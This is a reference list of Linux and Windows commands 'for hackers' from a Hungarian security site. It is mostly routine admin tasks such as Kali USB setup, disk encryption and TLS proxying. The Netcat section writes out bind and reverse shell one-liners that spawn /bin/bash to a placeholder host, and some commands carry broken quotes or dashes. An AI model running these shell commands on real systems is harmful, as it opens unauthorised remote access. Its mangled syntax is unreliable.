Egyszerűsített nézet TELJES NÉZET
Ne maradjon le a legújabb kiberbiztonsági hírekről, fejlesztésekről, kutatási eredményekről és fenyegetés riasztásokról!
KATTINTSON IDE és iratkozzon fel ingyenes hírlevelünkre, hogy a legfontosabb információk biztosan eljussanak Önhöz!

Useful Linux and Windows commands for hackers

WARNING! This is a half-public notes for hackers. Some commands are not complete or exact. Be careful and check the sintaxes before you use them.

Search in file contents with grep in Linux terminal

$ grep -rnw '/path/to/somewhere/' -e 'pattern'

Search by file type and move them or delete them

$ find recup_dir.* -iname "*.jpg" -exec mv {} IMG \; $ find recup_dir.* -iname "*.jpg" -exec rm {}\;

Make Kali Linux Live USB in Persistence mode

$ dd if=KALI_ISO_IMAGE.iso of=/dev/sdb bs=1M

Make a Linux partition on free space

$ cfdisk /dev/sdb

Make an ext3 filesystem

$ mkfs.ext3 -L persistence /dev/sdb3

Name them as persistence

$ e2label /dev/sdb3 persistence $ mount /dev/sdb3 /mnt/ $ echo "/ union" > /mnt/persistence.conf $ umount /dev/sdb3

Kali Linux Live USB in Persistence mode (Encrypted)

$ dd if=ISO of=/dev/sdb bs=1M $ start=$(du -bcm KALIISO.iso | tail -1 | cut -f 1 -d $'\t') $ end=$(echo `blockdev --getsize64 /dev/sdb`/1048576 | bc) $ parted /dev/sdb mkpart primary $start $end $ cryptsetup --verbose --verify-passphrase luksFormat /dev/sdb3 $ cryptsetup luksOpen /dev/sdb3 kali $ mkfs.ext3 -L persistence /dev/mapper/kali $ e2label /dev/mapper/kali persistence $ mount /dev/mapper/kali /mnt/ $ echo "/ union" > /mnt/persistence.conf $ umount /dev/mapper/kali $ cryptsetup luksClose /dev/mapper/kali

Boot from USB pendrive in Qemu virtual machine

$ qemu-system-x86_64 --enable-kvm -m 1024 -machine smm=off -hda /dev/sdb

Boot from USB pendrive in VirtualBox

$ VBoxManage internalcommands createrawvmdk -filename usblive.vmdk -rawdisk /dev/sdb

Then open the VMDK in VirtualBox

Remove, delete files (Recursive) if filename contains

$ find . -name "*.bak" -type f $ find . -name "*.bak" -type f -delete

Disable automount on GNOME (Linux)

$ gsettings set org.gnome.desktop.media-handling automount false

Disable automount on XFCE (Linux)

$ xfconf-query -c thunar-volman -p /automount-drives/enabled -T

Disable USB storage autosuspend on Linux

$ service laptop-mode stop $ nano /etc/laptop-mode/laptop-mode.conf ENABLE_LAPTOP_MODE_TOOLS=0 #!/bin/bash for dev in /sys/bus/usb/devices/*/power/control; do echo $dev echo on > $dev done for dev in /sys/bus/usb/devices/*/power/autosuspend; do echo $dev echo 0 > $dev done

Sending file with Netcat

On sender

$ nc -v -w 5 1234 -l < plaintext.txt

On receiver

$ nc -v -w 2 SOURCE_IP 1234 > plaintext.txt

Sending directory with Netcat

On sender

$ tar -cvf – DIRECTORY | nc -l 1234

On receiver

$ nc SOURCE_IP 1234 | tar -xvf

Remote shell with Netcat

On server

$ nc -lvp 1234 -e /bin/bash

On client

$ nc SERVER_IP 1234

Reverse remote shell with Netcat

On server

$ nc -lvp PORT

On client

$ nc -e /bin/bash SERVER_IP PORT

Simple webserver with Netcat

$ { echo -e “HTTP/1.1 200 OK\r\n”; cat netcat.html; } | nc -lkp 80

Disk copy/clone via network with Netcat

$ dd if=/dev/sda | nc -l 1234 $ nc -n IP 1234 | dd of=/dev/sda

Linux Screen scroll buffer

$ echo -e “\n\ntermcapinfo xterm ti@:te@” >> /etc/screenrc

Get listening processes in Linux terminal

$ lsof -n -i4TCP:http|smtp|... | grep LISTEN

Boot Kali Linux pendrive from GRUB command line

Press c for command line

root (hd1) find /TABTAB chainloader /EFI/boot/bootx64.img boot

Simple HTTP Server for a directory in Linux terminal

$ python -m SimpleHTTPServer 8000

Simple PHP Server for a directory with Let’s Encrypt SSL in Linux terminal

$ php -S 0.0.0.0:8080 -t .

Portforward 80 and 443

$ certbot certonly --webroot <DIRECTORY> --email mail@makay.net --agree-tos --rsa-key-size 4096 -d makay.net $ wget https://dl.eff.org/certbot-auto $ crontab -e * 3 * * 6 cd /home/makay && ./certbot-auto renew && service stunnel4 restart $ sudo nano /etc/stunnel/stunnel.conf #chroot = /var/run/stunnel #setuid = stunnel #setgid = stunnel fips = no cert = /etc/letsencrypt/live/datalink.makay.net/fullchain.pem key = /etc/letsencrypt/live/datalink.makay.net/privkey.pem [https] accept = 443 connect = 127.0.0.1:8080 #ciphers = ECDHE-RSA-AES256-GCM-SHA384 sslVersion = all options = NO_SSLv3 options = NO_TLSv1 options = NO_TLSv1.1 $ service stunnel4 restart

Generate self-signed OpenSSL certificate in Linux terminal

$ openssl genrsa -out key.pem 2048 $ openssl req -new -x509 -key key.pem -out cert.pem -days 1095

VirtualBox can’t see USB devices

$ sudo usermod -a -G vboxsf <USERNAME> $ sudo usermod -a -G vboxusers <USERNAME>

RELOGIN!

Mount Google Drive on Linux

$ mkdir ~/GoogleDrive $ sudo add-apt-repository ppa:alessandro-strada/ppa $ sudo apt install google-drive-ocamlfuse $ google-drive-ocamlfuse $ google-drive-ocamlfuse ~/GoogleDrive $ fusermount -u ~/google-drive (umount)

Enable long file paths on Windows

regedit.exe HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem LongPathsEnabled Value data: 1
Megosztás
A Makay.net böngészősütiket (cookie-kat) szeretne használni a felhasználói elégedettség fokozására és látogatási mérésekre. Adatvédelmi tájékoztató